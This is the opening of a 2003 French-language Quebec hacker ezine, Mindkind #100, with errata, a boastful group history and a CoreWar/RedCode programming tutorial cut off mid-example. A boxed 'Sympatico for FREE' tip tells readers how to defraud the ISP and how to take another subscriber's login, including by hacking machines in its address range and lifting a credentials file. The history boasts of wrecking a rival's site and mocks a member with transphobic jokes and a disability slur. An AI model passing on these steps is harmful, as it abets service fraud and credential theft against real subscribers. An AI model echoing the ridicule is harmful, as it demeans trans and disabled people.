              __ _______ __    ___ _________ _________     ___ _________ _________ 
             /          ___|__|_                      |   |_______                |
        #   /          |________|                     |  |        |               |
           /__             |  |                       |  |        |               |
  ___ ______ _|_____   _ __|__|_   ____ __ _____   ___|__|        |               |
 |                  ' |         | |             | |               |               |
 |                  | |         | |             | |               |               |
 .                  | |         | |             | |  |\           |               |
 |                  | |         | |             | |  | \          |               |
 |                  | |         | |             | |  |  \         |               |
 '   /       \      | |         | |             | |   \__\        |               |
 |    |    |        | |         | |      |      | |               |               |
/_____|____|____ ____\ \____ __/ /__ ____|__ ____\ \___ _____ ____|               |
               |       ____|__|_               ___    |   |_ _ ___         ___    |
               |      |______ __|             |___|   |  |        |       |___|   |
               |           |  |                       |  |        |               |
  __ __ __ __ _|____   ____|__|_   _____________   _ _|__|        |               |
 |     | /          / |         ' |             | |               |               |
 |     |/          /  |         | |             | |               |               |
 |                /   |         | |             | |  |\           |               |
 |               /    |         | |             | |  | \          |               |
 |              <     |         | |             | |  |  \         |               |
 |               \    |         | |             | |   \__\        |               |
 |     |\         \   |         | |      |      | |               |               |
/____ _| \_ ____ _/    \__ ____/ /__ ____|___ ___\ \_____ ________|               |
             __|           |_ |                       |   |                       |
            |_______ _ __ ___||__ _______ ____________|   |_ _ __________ _____ __|

.-- - ---------------- - --------------- - ------------------------------------- -.
| MinDKinD100 ; again, again, and again ... I think u get the point.              |
'---------- - ----------------------------------- - ------------------- ----------'
                             
read me                       
read me my friend            
read me                      
read me again...              


                              HACKING IS SECURITY
                                CODING IS USING
                                GAMING IS LIFE


C'est sur cette air  (ere?) de Big Brother  que nous lanons notre  ezine #100.
Saveur Originel,  frais du  jour, simple  pour les  hackers simples,  savoureux
comme sur la  pancarte, faible en  gras et sans  sucre ajout, avec  d'la sauce
piquante et bien sur, l'extra saucisse, bref, Mindkind.

ATTENTION CE PRODUIT CONTIENT DE LA CAFEINE

C'est ce que je vous aurais crit si j'avais chapp de la cafine sur la copie
papier que vous tes entrain de ne probablement pas lire (la copie papier,  que
vous n'tes pas entrain de  lire, parce qu'elle n'existe probablement  pas), si
dans les 2 cas suivant vous avez soit comprit, ou t en possession de la copie
papier  (qui  elle n'a  probablement  pas de  cafine)  et bien  vous  tes une
exception. Regarder  autour de  vous, vous  tes une  exception, et  vous tes,
seul, SEUL, TERRIBLEMENT SEUL.


Mais au moins, vous avez votre exemplaire de Mindkind 100 sur papier, ce  n'est
pas peu dire.  Et bien tant  qu'a l'avoir imprim  (ou a avoir  fait semblant),
pourquoi ne pas commencer  le  lire, vous verrez ce n'est pas  trs compliqu,
vous n'avez qu'a baissez vos yeux de quelques centimtres et continuer   faire
ce que vous faite dj ici.. alors on se revoit plus bas, a+.

           


Erratum


Source : Mindkind 11 - 11.10 Comment sender des packets RAW sous windows 2k/XP
Date d'mission : dcembre 2002
Erreur de type : travesti (she male) bien maquill
On a malheureusement oubli de vous dire 2 choses au sujet de cet article :
1- C'est simplement une traduction d'un excellent article sur les RAW sockets
2- C'est fait par un/une travestie.
 l'avis de Last les traductions ne sont pas si bad (on se rapel de LJNB #1 qui
proposait un excellent article avanc  sur le Spanning ShellCode qui  tait une
traduction de phrack, et les traductions de meeting des Perl Mongers par Last).
L'art de traduire est quelque chose de complexe, quand il y a beaucoup de texte
Dans le cas du dernier  article, c'tait  80% du  code, alors on se demande  :
mais pourquoi? Simple, ya une demande de  la part des gens de rver qu'un  jour
une  fille s'intresse  a de  quoi de  lowlevel avec  l'informatique. Tk  bravo
Alice^ la traduction et  le maquillage de fille  est parfait, mais   partir de
maintenant  on va  tapeller Alice^  toujours, on  prfre te  parler quand  t
dguiser, on peut ainsi s'imaginer une  belle fille au lieu d'un gros  cave. Ah
oui  pour  ceux   qui aime  mieux  aller  voir les  films  dans  leurs versions
originale:
http://www.mindrape.org/caffeine/zines/infosurge/infosurge-20.txt  L'article 05.


Source : Mindkind 11 - 11.08 Format string attack
Date d'mission : dcembre 2002
Erreur de type : post-formatting d'un article de format string (heh)
Dans  les  pastes  de  garbages, le  formattage  aprs  remise  de l'article  a
compltement  scrapp les  flches qui pointaient  dans le garbage.  Voici donc
pour vous la version sans formattage avec les exemples alignes comme du monde:
                        http://www.mindkind.org/products/FormatStringAttack.txt


Source : #Mindkind
Date d'mission : dcembre 2003
Erreur de type : fait donc autre chose a place last
[02:28] <LastCall_> des gens saouls ce soir pour maider a faire
                    des erratums bidons?
[02:29] <__2> lastcall des erratums, jai des casse-tetes pliables
              + cool que ca ici ;]
[02:29] <LastCall_> haha
[02:29] <__2> y vont dans machine en plus



 _____ _ ______ __ _ ___ _ _
|_ _    _______ _ ______ ___|
    |  | ___  _____  __  ___                                    
    |  || . ||   . ||  ||  _|                                   
.- -|__||___||   __||__||___| ---[MinDKinD100/topic]-- - -- - - -. == = ========            
;            |__|                                                | MinDKinD #100
|                                                                |  __      __
|                                                                | |  |____|  |
:         [- dude ---]       [-title ----- - ---------- -----]   : |          |
' 100.01   LastCall_          Le Patrimoine Lmurien             . |   _ _____|
. 100.02   Seriousman         CoreWar                            |  __ _ _____
: 100.03   [Funky]            try2hack howto                     | |    __    |
| 100.04   rst_ack            applied arp poisoning              ; |   |__|   |
: 100.05   c4ndu              L'ironie du pessimisme             ! |__ _ _____|
| 100.06   Tigerbalm          Le piratage biochimique            |  _ _ ______
; 100.07   h3                 le chaos (pour illaitrs)          | |    __    |
' 100.08   LastCall_           la conquete du chameau part 4    ; |   |__|   |
. 100.09   Qwzykx             Light, the final frontier!         | |_ _ ______|
| 100.10   Mindkind           So you wanna be a hax0r?           '
| 100.11   Seriousman         i love PHP                         |
; 100.12   Wyzeman            HTF googleownized.php              |
' 100.13   Mindkind           .hack_history                      '
|                                                                : 
'- - ---------------- - ---------------------------------- - ----'


      Dans la version "full" du ezine, vous retrouverez :
           - Mister T vs. Lamers, version 2.1 : De retour au hackfest
           - Un vido conceptuel tourne au 2600mtl (ide fou de Last)
             qui reprends http://www.badgerbadgerbadger.com
             
      Dans n'importe quel version du ezine, vous retrouverez des
      entres-articles qui sont plus intressent que des articles
      de ezines concurrents (en HTML ou non, haha).







    .-----------[MinDKinD100\#100.01]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 19/12/03   
    | .     Le Patrimoine Lmurien                     | - LastCall_
    |                           aka                    '------------- ----.
    |                               "La conqute de l'espace bytes"       | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------'                 
  

Le patrimoine lmurien vous prsente :
Histoire de Mindkind; la conqute de l'espace bytes


Janvier 2003 : La joke du dbut d'anne
  Quelques heures aprs le  lancement du eZine, je  me suis dcid   le  lire.
  Bon ok,  c'est moi  qui a  tout corrig  de fond  en comble, (avec l'aide  de
  nothing94 et bgm, merci les gars)  mais mon cerveau avait  process juste  le
  franais (ou ce qui tait suppos tre du franais ;-) et pas le contenu  lui
  -mme de  la chose. Je me suis aperu justement de quelques erreurs, tel  que
  annonc dans l'erratum du dbut de ce ezine. M'enfin toute a pour dire  que,
  les gens se sont affrs  lire le ezine, pour quelque temps... jusqu' temps
  o on dcida de faire  un meeting, et de faire  un face  face avec  ceux qui
  nous on niais.
  
Mi-janvier 2003 : Mindkind meet 2003
  Comme  chaque anne depuis 0  an, Mindkind organisa un meeting interne  IRL.
  Succs total on tait  plusieurs du groupe   regarder et s'amuser devant  la
  prparation powerpoint (duh!) de Wyze et Last, le tout en webcam-girl-o-rama.
  Aprs le meet, on alla  voir Flopik et SM, les  auteurs de la joke de  Alice^
  avec  l'article  ripp  du  web.  La  premire  impression   qu'il  firent  
  l'ensemble de  Mindkind ft  la suivante  : maudit  qui sont  laid. Plusieurs
  d'entre nous eurent des nauses   penser que SM c'tait travesti en  Alice^,
  et disons qu'ils ont pas russi  fitter avec les autres. Disons que Mindkind
  est  rendu un  groupe ass  mature, qui  filtre par  lui-mme  les  nouvelles
  personnes  qui tentent de s'y  inclurent.  Ce  ft donc  avec  ce  dgout que
  l'histoire de Alice^  ft oublie.. ass  rapidement. On flicite  quand mme
  Flopik et  SM pour  avoir russi   faire  une suite   leur "entachement" de
  Mindkind, par contre a c pas  rendu au point qu'on tait pour  les accepter
  avec nous. haha
  
Fvrier 2003 : Enfin le website v2
  Wyzeman acheva le  dveloppement du site  web.. cet "achvement"  dura encore
  quelques mois :-)   Entre temps Wyze  s'assaya avec #onu,  qui tait  suppos
  runir l'underground. Aprs  tout wyzeman est  gentil, il voulait  de tout le
  monde avec lui...  c'est plus mgalomane  que gentil, mais  bon pareil. Aprs
  quelques claboussures (faut dire que y'avait SM pis Flopik sur cte chan la?)
  le projet  tomber  l'eau.. pkoi?  C'est pas l'underground au complet qui se
  tient sur Undernet.. et on dirait  que toute cke Mindkind avait pas  assimil
  encore d'apparent sur Under, c'tait moins intressent.

Mars 2003 : La dernire strike de nos gigons
  Flopik & SM the return : http://hyenas.ionichost.com/
  Ce site tait un site publique ddier  (srement) combattre Mindkind encore,
  pour ne pas dire de l'insulter indirectement. Malheureusement pour eux,  leur
  scurit tait minable, et le site  publique fut scrapp dans le temps  de le
  dire. C'est donc la claque en arrire de la tte qui nous poussa  finir le
  site web, et  continuer nos affaires. 

Avril 2003 : un peu de rpit
  A vrai dire a part changer nos DNS de place, ya rien de notable qui c'est
  pass ce mois la...
  
Mai 2003 : web site on fire
  On est sur le bord de mettre  le web site online, Wyzeman fix les  bugs avant
  de le releaser... (veuillez noter ici qu'on fixe les bugs AVANT de  releaser!
  haha) Pour ma part jai un peu lach le tout pour me pitcher dans le  LAN  ETS
  2003...

Juin 2003 : putain des vacances!
  C'est ce qui arrive quand l't  arrive : putain des vacances, putain  y faut
  qu'on fourre. C'est  pour ces raisons  que le mois  de juin ft  unproductif,
  malgrs que le site web a runn un peu cot news...
  
Juillet 2003 : lancement de la suite!
  Bon, le website  est fini fait  un ti boutte,  personne fait pu  rien depuis.
  Alors on  lance quelques  projets   la vole.  La pluspart  des projets sont
  interne et private,  mais pour vous  donner un avant  got : Mindkind  rally,
  Mindkind candids, Mindkind Hackademy, Mindkind sploits. Ah oui pis  MindFlayR
  a bravement renouvell  le  domain .org. Pour les  projets, candids a t  le
  seul fructueux,  hackademy a t repouss,  sploits cancell,   rally oubli.
  Cependant un "projet" attira tlm, c'tait le Mindkind eZine... On en  profita
  mme pour  s'installer un  CVS.. dcidment  l'infrastructure Mindkindienne a
  augment..
  
Aot 2003 : Spoof du deadline Mindkind 100
  c4ndu s'en pouvait pu  de faire des ASCII  et de releaser un  eZine, alors la
  machine  du  eZine  est  repartie..   Du  mme  coup  une  couple  d'affaires
  "interne" repartirent.. Mais, on dirait que le ezine a bouett un peu.  Aprs
  tout on voulait le releaser, mais faute de motivation (sauf de la part de  ce
  cher c4ndu) on l'a  repouss.. repouss pas mal   vrai dire. Y'a  quand mme
  plein d'autre affaires  qui ont rouls  quand meme. Par  exemple  la  fin du
  mois on a organis un meeting IRL qui a eu un franc succs (faut dire que  ya
  fallu aller rveiller Wyze  Qc City  pour le rammener  100 km de  son lit).
  L'cole des clounes nous a bien fait rire.
  
Septembre 2003 : L'ultime cas Mindkind vs. Wyzeman
  Bien que pas de vos affaires, la chose notable du mois de septembre  t  le
  fait que Wyzeman a pt sa coche. vidamment c'est LastCall_ qui c occup de
  brasser la marde (heh). Pkoi me direz vous? Pas  cause de l'ambiance, pas  
  cause qu'on fou rien,   cause que Wyzeman  a une vision de  Mindkind que les
  autres n'ont pas.. sa mgalomanie le met  part du reste des membres du crew.
  Par contre, si Mindkind existe encore, c'est qu'on marche en redondance.  Aka
  si Wyzeman flanche, LastCall_  remonte le moral, et  vice versa. Et si  les 2
  flanchent quoi qui l'arrive? Et bien  init_null arrive et dit "esti que  vous
  tes boites" et tout rentre dans l'ordre. heh Parlant de init, y'a  introduit
  dans le groupe, un autre bretteux du nick de n0p. Franc succs.

Octobre 2003 : L'tincelle du hackfest dans nos coeurs (ktaine hein c4? :P)
  Et le silence se ft... jusqu'  temps que quelqu'un disa le mot  "hackfest".
  C'est alors  que tout  le monde  devinrent super  excit et  on dcida que le
  hackfest  c'tait  plus  qu'un  simple concours    la  noix,  mais bien  une
  motivation pour faire  de quoi. Pendant  ce temps la  Wyzeman prit sa  pioche
  crit PHP dessus et commena  nous creuser un site web home made. La version
  3.0 est ne. Et puis la, tout  le monde capota avec le hackfest, chaque  jour
  en se levant  on assayait de  faire des BO  sur toute ce  qui existe (j'en ai
  mme pt mon  toaster) pis   faire des "exercices"  de hacking tel  que les
  ancients numros du hackfest et d'autres parcours online.

Novembre 2003 : hackfest, hackfest et pis hackfest.
  On tait tous vir fou  propos du hackfest. Chaque fois que je voyais un mot
  avec un h ou un a ou un c ou un k ou un f ou un e ou un s ou un t je  pensais
  au  hackfest. On  tait tellement  motiv, qu'on  s'est retrouv   aller  au
  hackfest avec  3 teams  complets (quipes  de 3)  et quelques  amis. On tait
  environ une douzaine. vidamment le hackfest tait rempli de leet, quand on a
  vu a on a commenc  douter un peu de gagner haut la main devant tlm  (paske
  faut dire que durant notre prparation on c'tait dit que a serait pas  dure
  de owner tlm!). Mais,  on a quand mme  fini par remporter la  premire place
  (exquo avec une autre quipe du  nom de WYSINWYG, compos de dudes  qui vont
  au mtl2600), et  on s'est saoul  avec le cash  remport. Le hackfest  nous a
  alors tous rveill, et a bien sr  brass un peu de marde. C'est pas  commun
  qu'un groupe se  ramasse dans un  vnement du genre  et fasse parler  de lui
  autant aprs..  mais c'est  cool quand  mme, quand  nous avons  ouvert notre
  caisse de 24, et donner le chin  "Mindkind", on a alors senti que enfin,  on
  fesait  parti de  quelque chose.  J'offre une  mention honorable   tous  les
  participants  du hackfest  ainsi que  les organisateurs,  parce que  je  dois
  avouer que, on a aussi senti quon  fesait parti de quelque chose, quand on  a
  vu toute  cette gang  de geeks  ramass dans  2-3 chambres  d'hotel. C'est en
  novembre 2003, qu'on vit la scne undergrounne qubcoise renatre.. 
  
Dcembre 2003 : eZine, dans ta face.
  Le eZine marque  la fin de  ce mois. Et  Mindkind est encore  plus  gros  que
  jamais. Les septiques sont peut-tre  pas confondu, mais aprs tout,  on s'en
  calice d'eux! Je crois  que ya une morale  a retenir de Mindkind,  et de tout
  les  patrimoines lmuriens.  Les gens  croient tout  savoir sur  nous, et  la
  pluspart s'en servent pour  nous blaster, mais dites  vous que bien que  vous
  entendez parler de  Mindkind seulement par   le eZine, le  site web, et  peut
  -tre le cannal IRC #mindkind.org; Mindkind fourmille d'ides, de    projets,
  de  soires   de  dbandades,   d'alcool,  de   drogue,  de   sexe,  etc.   
  l'interne  sans  que mme  VOUS  vous en  rendez compte... C'est  ce  que  la
  pluspart des  gens ont  de la  misre   piger, on fait pas juste des  choses
  publiques..  c'est pour   cette raison  que  ceux  qui "insultent"   Mindkind
  savent gnralement pas de quoi  ils parlent. Aprs tout, pourquoi  on aurait
  gagner le hackfest si  on serait si mauvais?   Et non on a  pas trich! C'est
  donc ainsi que, maintenant, les insultes nous passe par les oreilles tel  une
  quation diffrentielle dans  les oreilles d'un  trisomique 22 qui  n'est pas
  dans un Cube.
  
  
  En terminant je vous laisse sur une note que j'ai laiss au hackfest lors
  de mon "speech" en tant qu'quipe co-gagnante :
  
  Mindkind rulez, oi oi!


                                                      - LastCall_
                                                        le Mindkind Zealot


    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|           lastcall@mindkind.org         |    
                                '-------- - ----------- ------------ -----'


===========================
Sympatico for FREE
===========================
Truc: appeler au 310-SURF (310-8483) et dite: votre nom d'utilisateur, votre
NIPS (Numero d'indentification personnel sympatico) et dite: Je m'en vais en
voyage pour les 6 prochain mois, pouvez-vous dsactiv mon account, je ne
l'utiliserai pas de toute manire.. ensuite, trouver vous un ami qui a
sympatico PPP, ou HSE et demandez-lui son login et mot de passe, entrer le
dans votre access manager (ou outil de connection DSL de favoris) et appuyez
sur connecter. VOILA vous avez internet gratuitement pour les 6 prochains
mois! SI JAMAIS VOUS AVEZ PAS D'AMIS! hacker une personne sur le range de
sympatico (64.228.*)  en win98/2k (PAS DE WINXP, ils n'ont pas de access
manager) et prennez son fichier EnterNet.ini situ quelque part dans le
"Program Files" de l'utilisateur, overwriter le votre, par le sien ou
installer vous un Virtual PC / VMWare sur Win98, overwriter le file dfaut
de access manager par celui avec les infos de votre "amis" ouvrer access
manager et utiliser un petit soft pour voir sous les ***. Il me reste
seulement  vrifier si les 6 mois o vous ne payez pas, compte dans les 12
mois de contrat je le saurez dans 5 mois! ;)
===========================
  
  

    .-------[MinDKinD100\#100.02]------- ---- - -------. [M]ind[K]ind #100
    |                                    ;             | - 09/06/03
    | .            CoreWar                             | - SeriousMan
    |                       aka                        '------------- ----.
    |                           code war                                  | 
    |        _____                                                .       |
    '--------------------- ---[again, again n again.]---- --------- ------'
         



  XXXX                              XX   XX                   
 XX  XX                             XX   XX                   
XX         XXXX   XX XXX    XXXXX   XX   XX   XXXXX   XX XXX  
XX        XX  XX   XXX XX  XX    X  XX X XX       X    XXX XX 
XX    X   XX  XX   XX      XXXXXXX  XXXXXXX  XXXXXX    XX     
 XX  XX   XX  XX   XX      XX       XXX XXX  X   XX    XX     
  XXXX     XXXX   XXXX      XXXXX   XX   XX  XXXXX X  XXXX    
                                                         by SeriousMan ;)






Remarque: Ce Tutorial (ou article, mini-tutorial, introduction... est
100% imprimable .


I/ C'est quoi :

  C'est un jeu entre deux ( ou plusieurs ) programmes ( aussi nomm
Warrior's ou Soldat) -programms  dans  un  langage  nomm RedCode-
qui  s'affrontent dans une arne virtuelle constitu de 8000 cases,
chaque case pourra contenir une instruction , le but du jeu est que
l'adversaire excute une instruction illgale et meurt.

Comme j'ai  dis  les  deux  adversaires  sont  programmes  dans un
langage nomm RedCode et excuter dans des  programmes qui simulent
l'arne  et qu'on  va les  nomm des simulateurs ;-) dont  le  plus
clbre c'est MARS (Memory Array Redcode Simulator)  mais  le  plus
accessible et facile  en utilisation pour les dbutent (mais pas le
plus complet)c'est l'environnement CoreWarrior de Michel CASABIANCA
programme  en  JAVA  (donc compatible tous OS) et  c'est pour cette
raison qu'on va l'utiliser pour la premire parti .
Vous pouvez le tlchargez ici :
http://www.sdv.fr/pages/casa/arc/corewarrior-0.2.zip 138Ko 

PS: je vous conseille vivement de tlcharger  un  simulateur avant
de lire l'article car sans la pratique  vous  ne  comprendrez rien.

Voici une liste de simulateur(pris du Faq) pour les tlchargez vous
n'avez qu'a lancez une recherche sur google avec le nom du simulateur:


MADgic41.lzh corewar for the Amiga, v4.1 
MAD4041.lzh older version? 
MAD50B.lha corewar for the Amiga, beta version 5.0 
Redcoder-21.hqx corewar for the Mac, supports ICWS'88 and '94 
core-11.hqx corewar for the Mac 
core-wars-simulator.hqx same as core-11.hqx? 
corewar_unix_x11.tar.Z corewar for UNIX/X-windows, ICWS'86 but not ICWS'88 
compatible 
koth31.tar.Z corewar for UNIX/X-windows. This program ran the former KotH 
server at intel.com 
koth.shar.Z older version 
kothpc.zip port of older version of KotH to the PC 
deluxe20c.tar.Z corewar for UNIX (broken X-windows or curses) and PC 
mars.tar.Z corewar for UNIX, likely not ICWS'88 compatible 
icons.zip corewar icons for MS-Windows 
macrored.zip a redcode macro-preprocessor (PC) 
c88v49.zip PC corewar, textmode display 
mars88.zip PC corewar, graphics mode display 
corwp302.zip PC corewar, textmode display, slowish 
mercury2.zip PC corewar written in assembly, fast! 
mtourn11.zip tournament scheduler for mercury (req. 4DOS) 
pmars08s.zip portable system, ICWS'88 and '94, runs on UNIX, PC, Mac, Amiga. 
C source archive 
pmars08s.tar.Z same as above 
pmars08.zip PC executables with graphics display, req 386+ 
macpmars02.sit.hqx pMARS executable for Mac (port of version 0.2) buggy, no 
display 
MacpMARS1.99a.cpt.hqx port of v0.8 for the Mac, with display and debugger 
MacpMARS1.0s.cpt.hqx C source (MPW, ThinkC) for Mac frontend 
pvms08.zip pMARS v0.8 for VMS build files/help (req. pmars08s.zip) 
ApMARS03.lha pMARS executable for Amiga (port of version 0.3.1) 
wincor11.zip MS-Windows system, shareware ($15) 


IIIIIII       /   
IIIIIII      /
  III       /
  III      /   Premire parti:
  III     /
IIIIIII  /
IIIIIII /



II/ RedCode:
1/Intro
  Le  RedCode  est  un langage  trs  proche de l'assembleur  mais plus
facile ,c'est avec lui qu'on va crire nos  Warrior ( soldat  pour  les
Francophone).
Il y a plusieurs version  du  RedCode ( ICWS'86 ICWS'88 ICWS'94 )  mais
nous on vas utiliser la  ICWS'86 dans  la  premire parti  du  tut (car
elle est la plus facile) puis la ICWS'94 dans la deuxime partie (parce
Qu'elle est la plus complte.


*#*#What's is The ICWS#*#*
(traduit du FAQ)
Aprs un  an  de  la  premire  apparition  de  l'article  Core War dans
Scientific  American ,  L'International Core War Society" ( ICWS ) a t
tabli, Depuis ce temps, l'ICWS a t responsable de la  cration  et de
la maintenance des Standares et des  championnats  de  Core War . Il y a
6 Championnats et 2 Standares ( ICWS'86, ICWS'88 ) (le ICWS'94 n'est pas
(trs) officielle mais c'est le plus utilis.
*#*#Fin de:What's is The ICWS#*#*


2/Les instructions (1er partie):

Remarque avant de commencer:
Au commencement de la bataille  les Warrior (et donc leur code) sont mis
par hasard dans l'arne constitue de  8000 cases  ( normalement ) vide =
remplis des "DAT 0" (vous saurez se que c'est aprs ;) toute instruction
est mis dans une case  et le Warrior  commence son  excution  depuis sa
premire instruction par tour : le premier Warrior  excute sa  premire
instruction puis le deuxime excute sa premire instruction  puis vient
le tour du premier a excuter sa deuxime instruction et  ainsi de suite
jusqu'a ce qu'un Warrior meurt "Un Warrior  meurt  quand il  excute une
instruction  illgale ( vous verrez sa aprs ) , Le  dernier Warrior qui
reste vivant sera le gagnant . 
Dernire chose tout ce que je dirais aprs des ";" ou entre "/*" et "*/"
seront des commentaires.
Fin de "Remarque avant de commencer"

dat 1 : Cette instruction ne fait rien elle sert juste pour  staurer les
Variables, avant d'y mettre les Warrior dedans l'arne (La Core pour les
Anglophones) est remplis de dat 0.

mov a b : prend la valeur a et la met dans b ( a et b peuvent tre toute
chose : des lignes de codes une valeur rel ...( vous  le verrez dans la
section mthode d'adressage).

ex: mov 0 1 ;prend la valeur de  l'instruction  aprs 0 case de celle si
(donc l'instruction elle mme ) et la met dans la case  suivante  (c'est
le plus simple des warior ,son  nom est IMP) il met  son  code  dans  la
case suivante puis l'excute.

-------------------------simulation de IMP-------------------------------
(les point sont les case vide (dat 0) et les 1 sont les case de l'IMP 
(mov 0 1) et x c'est la case s'excutent dans ce tour)

[1]:   x0000000000000000000000
[2]:   1x000000000000000000000
[3]    11x00000000000000000000
[10]   111111111x0000000000000
.....
-----------------------fin de simulation IMP-----------------------------

jmp a : saute  a  la  case 'a'  pour  l'executer  ( au lieu d'executer 
l'instruction de la case suivante) .

ex: jmp 6;saute 6 case et execute l'instruction puis continue normalement

Voici un ptit Warrior made in SeriousVille qui utilise ces deux
instruction :

mov 0 3 ; copie cette instruction (son adresse est 0) apres 3case
jmp 2 ; saute 2 case (donc vers le mov 0 3 ) (le 2 c'est relatif a
l'instruction)

-------------------Simulation de ce Warrior ----------------------------
(le * avant l'instruction signifie que c'est son tour de s'executer)
[1] :     | [2] :    | [3]       | [4]:    | [5]:
*mov 0 3  | mov 0 3  | mov 0 3   | mov 0 3 | Le programme crashe!!!!!!!
jmp 2     | *jmp 2   | jmp 2     | jmp 2   |
dat 0     | dat 0    | dat 0     | dat 0   |
dat 0     | mov 0 3  | *mov 0 3  | mov 0 3 |
dat 0     | dat 0    | dat 0     | *dat 0  |
dat 0     | dat 0    | dat 0     | dat 0   |
dat 0     | dat 0    | dat 0     | mov 0 3 |

--------------------Fin de simulation -----------------------------------

Vous ts srement surpris : "Pourquoi le programme a crash !!!??!!???".
Esque vous rappelez du but du jeu "le but de ce jeu est que  l'adversaire
excute une instruction illgale" ,mais quelle sont les instruction 
illgale:
La premire instruction c'est le dat, tout Warrior (Soldat) voulant 
excuter un dat perdra la partie et mourra

b/Les mthodes d'adressage:
Le RedCode a 3 mthode d'adressage :

Relatif: C'est  le  mode  par  dfaut . Il  est relatif     la   case de
l'instruction en cour d'excution .(c'est ce qu'on a vu dans nos exemples
par ex mov 0 1) (on peut aussi faire : mov 0 $1).

Immdiat : Est  indiqu  par  un signe # avant  l'argument . Indique  une
valeur numrique , sans  rfrence  d'adresse .  Donc #3  est  la  valeur
numrique 3.

ex :
jmp 2; c'est pour sauter les dat
dat #3 
add #1 -1 /* cette commande  ajoute  le contenu de son premier  paramtre
(ici 1) a la case du deuxime  paramtre (attention on  ne  peut  ajouter
Une valeur qu'a un dat sinon le Warrior CRASHE) */
jmp -1 ; reviens au add 

----------------------------Simulation-----------------------------------
[1]:       | [2]:        | [3]:       | [4]:       | [5]
*jmp 2     | jmp 2       | jmp 2      | jmp 2      | jmp 2
dat #3     | dat #3      | dat 4      | dat 4      | dat #5
add #1 -1  | *add #1 -1  | add #1 -1  | *add #1 -1 | add #1 -1
jmp -1     | jmp -1      | *jmp -1    | jmp -1     | *jmp -1

---------------------Fin De Simulation-----------------------------------

Indirect : Est  indiqu  par  un  signe  @ . L'adresse  aprs  le signe @
n'est pas l'adresse pointe mais l'adresse de  l'adresse  pointe (tjs de
type dat ) par ex:

jmp 2 ;saute le dat
dat 2 
mov 0 @-1 ; met l'instruction  elle  meme (0) apres x case du  -1  ( donc
;apres x+(-1)  case) , ou  le x  est  la  valeur  de  l'instruction  dont
;l'adresse   par rapport au mov est -1 (tjs un dat) ,(donc x = 2 car 
;c'est la valeur du dat).

----------------------------------Simulation-----------------------------
[1]:       | [2]        | [3]          | [4]
*jmp 2     | jmp 2      | jmp 2        | CRASHE!!!!!!!!
dat 2      | dat 2      | dat 2        | 
mov 0 @-1  | *mov 0 @-1 | mov 0 @-1    |
dat 0      | dat 0      | *mov 0 @-1   |
dat 0      | dat 0      | dat 0        |
-------------------------------Fin de simulation-------------------------

Comme toujours vous tes surpris : "Pourquoi  a crashe!!!!!"
Tous simplement  car  il a  excut  une instruction  illgale  ( erreur
d'indirection) si vous vous rappelez j'ai dis :
"L'adresse aprs le signe @ n'est pas l'adresse  pointe  mais l'adresse
de  l'adresse  pointe ( OUJOURS DE TYPE DAT )"  il faut  que  l'adresse
pointe soit de type de dat  mais dans  notre cas  c'est  un  mov   donc
--------------------->CRASHEEEEE

c/Les Instructions (2me parties):
Bon, continuent notre dcouverte d'instruction ;)

add a b ; ajoute le contenue de 'a' dans 'b'
(relatif) (L'INSTRUCTION DE L'ADRESSE B DOIT ETRE TJS UN DAT OU BIEN :
CRASHEEE....

sub a b ;soustrait le contenue de 'a' dans 'b'

jmz A B ; Saut  l'adresse A si le contenu de B est nul. (B dat sinon BOOM)
ex:
jmp 2
dat 0
jmz 2 -1
dat 6
jmp -2

jmg A B ; Saut  l'adresse A si le contenu de B est suprieur  zro. (il  faut
que B soit un dat sinon CRASHE ;)
ex: 
jmp 2 ; saute le dat
dat 0
jmg 2 -1 ;saut 2 case si se qui est contenue en -1 est different de 0
jmp -1
dat 6

djz A B ; Dcrmente (soustrait 1) le contenu de A saut  la case B si le rsultat
        ; est zro. (il faut que A soit un dat sinon CRASH!!)

cmp A B ; compare A et B et saute l'instruction suivante s'ils sont different
ex:
jmp 3 ; saute les dat
dat 0 
dat 3
add #4 -2 ; ajoute 4 au dat 0( dont l'adresse est -2)
add #3 -2 ; ajoute 3 au dat 3(dont l'adresse est -2 (c'est relatif))
cmp -4 -3 ;compare le contenue de -4 et -3 et saute l'instruction suivante 
          ;s'ils sont different
mov 0 1 ; IMP
jmp -4 ; reviens au premier add

----------------------------simulation-----------------------------------
[1]:           
*jmp 3         
dat 0          
dat 3          
add #4 -2      
add #3 -2     
cmp -3 -4      
mov 0 1        
jmp -4        

[2]:
jmp 3 
dat 0 
dat 3
*add #4 -2
add #3 -2
cmp -3 -4
mov 0 1
jmp -4

[3]:
jmp 3 
dat 4
dat 3
add #4 -2
*add #3 -2
cmp -3 -4
mov 0 1
jmp -4

[4]:
jmp 3 
dat 4
dat 6
add #4 -2
add #3 -2
*cmp -3 -4
mov 0 1
jmp -4

[5]:
jmp 3 
dat 4
dat 6
add #4 -2
add #3 -2
cmp -3 -4
mov 0 1
*jmp -4

[6]:
jmp 3 
dat 4 
dat 6
*add #4 -2
add #3 -2
cmp -3 -4
mov 0 1
jmp -4

[apres 2 cycles]:
jmp 3 
dat 12
dat 12
add #4 -2
add #3 -2
*cmp -3 -4
mov 0 1
jmp -4

[apres 2 cycles + 1]:
jmp 3 
dat 12
dat 12
add #4 -2
add #3 -2
cmp -3 -4
*mov 0 1
jmp -4

puis le programme deviens un simple IMP .

----------------------------simulation-----------------------------------

C'est fini pour ce chapitre ,mais je vous conseille de  ne pas  continuer
ce texte que si vous ne l'avez pas bien compris parseque  c'est  la base.

III/Les Warriors:

On a vu Le RedCode et ses  instruction (ICWS'86) donc passons a l'attaque
et utilisons nos  connaissance  pour programmer  quelque Warrior  (Soldat
pour les 100% francophone) .
Donc ( comme  vous  l'avez  su  avec  votre  mega  intelligence) dans  ce
chapitre  nous allons tudier quelque exemples de Warrior fait par moi ou
par des autres gnies .
Remarque: cette partie n'est pas trs bien conu pour tre imprim .

1/Le RADAR :(par un anonyme)
/*phase 1 du prog*\
mov	#1	-100 /*met un 1 dans la case -100  (c'est une case  piege
si sa valeur change s'est k'il y a kelkun qui a passe ici)*/
add	#19	14   ; ajoute 19 ala case 14 (ca serve comme un compteur)
mov	#0	@13 /*Bombarde avec des 0  (pour que le programme adverse
fait l'erreur de l'excuter. */
cmp	#1	-103 /*verifie si la case piege a change de valeur si oui
alors il va ala deuxieme partie */
jmp	-3           /*  si non reviens au bombardement (bombarde la case
d'avant + 19) */
/*phase 2 du prog   *\
